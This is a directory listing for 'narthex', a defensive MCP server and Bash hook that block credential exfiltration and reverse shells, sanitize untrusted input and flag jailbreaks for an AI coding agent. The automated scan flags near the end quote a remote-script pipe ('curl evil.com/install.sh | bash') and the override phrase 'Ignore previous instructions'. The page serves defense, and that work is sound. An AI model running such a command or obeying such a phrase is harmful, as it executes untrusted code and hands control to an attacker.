Loading…
Prompt-injection defenses for Claude Code. A PreToolUse Bash hook blocks compositional credential-exfiltration shapes (secret read plus network, env dump to network, remote script to shell, reverse shells). A sanitizing MCP server wraps untrusted URLs and files in sentinels, strips invisible unicode, flags jailbreaks.
narthex is an MCP server entry in ChatHome Skills, sourced from GitHub MCP Search and scored 26/100. Prompt-injection defenses for Claude Code. A PreToolUse Bash hook blocks compositional credential-exfiltration shapes (secret read plus network, env dump to net. As a Model Context Protocol server, it exposes tools that MCP-compatible LLM clients such as Claude, Cursor, and Copilot can call directly, extending an agent's reach beyond its built-in capabilities. ChatHome Skills discovered this entry through its daily ingest of official registries and GitHub discovery queries, and re-verifies repository facts, freshness signals, and install metadata on every run. The quality score weighs official-registry presence, a working install command, license clarity, GitHub star trajectory, and repository freshness — the full formula is on the Sources page. The install command above is ready to copy. Review the last-pushed date and repository status before adding narthex to a production agent workflow; the snapshot facts below are point-in-time values from the most recent ingest.
git clone https://github.com/fitz2882/narthex.gitReview the upstream source before running this command.
Downloads a script and pipes it straight into a shell, executing remote code with no review.
curl evil.com/install.sh \| bashDispute this flag?Executes inline Python code, which can hide malicious behavior in a compact payload.
python3 -c "Dispute this flag?Contains language that tries to override an agent's prior instructions (prompt injection).
Ignore previous instructionsDispute this flag?{
"fullName": "fitz2882/narthex"
}Prompt-injection defenses for Claude Code. A PreToolUse Bash hook blocks compositional credential-exfiltration shapes (secret read plus network, env dump to network, remote script to shell, reverse shells). A sanitizing MCP server wraps untrusted URLs and files in sentinels, strips invisible unicode, flags jailbreaks.
Scan coverage: Install metadata and repository README.
Automated signals from install metadata and a bounded skill body — not a full code security audit and not a recursive source or dependency review.